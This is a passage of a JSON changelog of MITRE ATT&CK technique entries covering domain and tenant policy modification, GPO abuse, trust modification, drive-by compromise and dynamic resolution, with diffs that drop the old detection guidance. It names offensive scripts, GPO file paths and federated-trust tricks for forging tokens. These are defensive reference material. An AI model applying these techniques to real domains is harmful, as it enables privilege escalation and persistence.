Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484", + "external_id": "T1484" + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "url": "https://adsecurity.org/?p=2716" + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/" + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml" + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365" + }, + { + "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Okta Cross-Tenant Impersonation 2023", + "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", + "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Harmj0y Abusing GPO Permissions", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.", + "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Obsidian Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Identity Provider" + ], + "x_mitre_version": "3.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Deletion\", \"Active Directory: Active Directory Object Creation\", \"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.897000+00:00\", \"old_value\": \"2025-04-15 19:59:19.033000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n\\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n-\\n-Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)\"}}}", + "previous_version": "3.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Deletion)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0270: Detection of Domain or Tenant Policy Modifications via AD and Identity Provider" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-28 21:50:59.844000+00:00", + "modified": "2025-10-24 17:48:50.475000+00:00", + "name": "Group Policy Modification", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\\\SYSVOL\\\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484/001", + "external_id": "T1484.001" + }, + { + "source_name": "Mandiant M Trends 2016", + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf" + }, + { + "source_name": "ADSecurity GPO Persistence 2016", + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "url": "https://adsecurity.org/?p=2716" + }, + { + "source_name": "Microsoft Hacking Team Breach", + "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.", + "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/" + }, + { + "source_name": "Wald0 Guide to GPOs", + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "url": "https://wald0.com/?p=179" + }, + { + "source_name": "Harmj0y Abusing GPO Permissions", + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/" + }, + { + "source_name": "Harmj0y SeEnableDelegationPrivilege Right", + "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" + }, + { + "source_name": "TechNet Group Policy Basics", + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itamar Mizrahi, Cymptom", + "Tristan Bennett, Seamless Intelligence" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Creation\", \"Active Directory: Active Directory Object Modification\", \"Active Directory: Active Directory Object Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.475000+00:00\", \"old_value\": \"2025-04-15 19:58:34.774000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n\\n* Event ID 5136 - A directory service object was modified\\n* Event ID 5137 - A directory service object was created\\n* Event ID 5138 - A directory service object was undeleted\\n* Event ID 5139 - A directory service object was moved\\n* Event ID 5141 - A directory service object was deleted\\n\\n\\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\", \"diff\": \"--- \\n+++ \\n@@ -1,10 +0,0 @@\\n-It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\\n-\\n-* Event ID 5136 - A directory service object was modified\\n-* Event ID 5137 - A directory service object was created\\n-* Event ID 5138 - A directory service object was undeleted\\n-* Event ID 5139 - A directory service object was moved\\n-* Event ID 5141 - A directory service object was deleted\\n-\\n-\\n-GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Deletion)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0305: Detection of Group Policy Modifications via AD Object Changes and File Activity" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-28 21:59:02.181000+00:00", + "modified": "2025-10-24 17:48:32.244000+00:00", + "name": "Trust Modification", + "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1484/002", + "external_id": "T1484.002" + }, + { + "source_name": "AWS RE:Inforce Threat Detection 2024", + "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.", + "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf" + }, + { + "source_name": "CISA SolarWinds Cloud Detection", + "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a" + }, + { + "source_name": "AADInternals zure AD Federated Domain", + "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.", + "url": "https://o365blog.com/post/federation-vulnerability/" + }, + { + "source_name": "Microsoft - Azure AD Federation", + "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed" + }, + { + "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", + "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020.", + "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml" + }, + { + "source_name": "Microsoft - Update or Repair Federated domain", + "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.", + "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365" + }, + { + "source_name": "Okta Cross-Tenant Impersonation 2023", + "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.", + "url": "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.", + "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Praetorian", + "Obsidian Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Identity Provider", + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Application Log: Application Log Content\", \"Active Directory: Active Directory Object Modification\", \"Active Directory: Active Directory Object Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.244000+00:00\", \"old_value\": \"2025-04-15 19:58:14.422000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n\\nMonitor for PowerShell commands such as: Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\", or Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\" \\u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\\n-\\n-Monitor for PowerShell commands such as: Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\", or Update-MSOLFederatedDomain \\u2013DomainName: \\\"Federated Domain Name\\\" \\u2013supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0458: Detection of Trust Relationship Modifications in Domain or Tenant Policies" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:49:28.067000+00:00", + "name": "Drive-by Compromise", + "description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via [User Execution](https://attack.mitre.org/techniques/T1204). By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.(Citation: Push notifications - viruspositive)(Citation: push notification -mcafee)(Citation: push notifications - malwarebytes)\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1189", + "external_id": "T1189" + }, + { + "source_name": "Shadowserver Strategic Web Compromise", + "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.", + "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/" + }, + { + "source_name": "push notification -mcafee", + "description": "Craig Schmugar. (2021, May 17). Scammers Impersonating Windows Defender to Push Malicious Windows Apps. Retrieved March 14, 2025.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/" + }, + { + "source_name": "Push notifications - viruspositive", + "description": "Gaurav Sethi. (2021, December 14). The Dark Side of Web Push Notifications. Retrieved March 14, 2025.", + "url": "https://viruspositive.com/resources/blogs/the-dark-side-of-web-push-notifications" + }, + { + "source_name": "push notifications - malwarebytes", + "description": "Pieter Arntz. (2019, January 22). Browser push notifications: a feature asking to be abused. Retrieved March 14, 2025.", + "url": "https://www.malwarebytes.com/blog/news/2019/01/browser-push-notifications-feature-asking-abused" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Frank Angiolelli" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Identity Provider", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.067000+00:00\", \"old_value\": \"2025-04-15 19:59:12.900000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n\\nNetwork intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n\\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\\n-\\n-Network intrusion detection systems, sometimes with SSL/TLS inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\\n-\\n-Detecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.\"}}}", + "previous_version": "1.7", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0176: Drive-by Compromise \u2014 Behavior-based, Multi-platform Detection Strategy (T1189)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-10 17:28:11.747000+00:00", + "modified": "2025-10-24 17:49:00.128000+00:00", + "name": "Dynamic Resolution", + "description": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.\n\nAdversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1568", + "external_id": "T1568" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + }, + { + "source_name": "ESET Sednit 2017 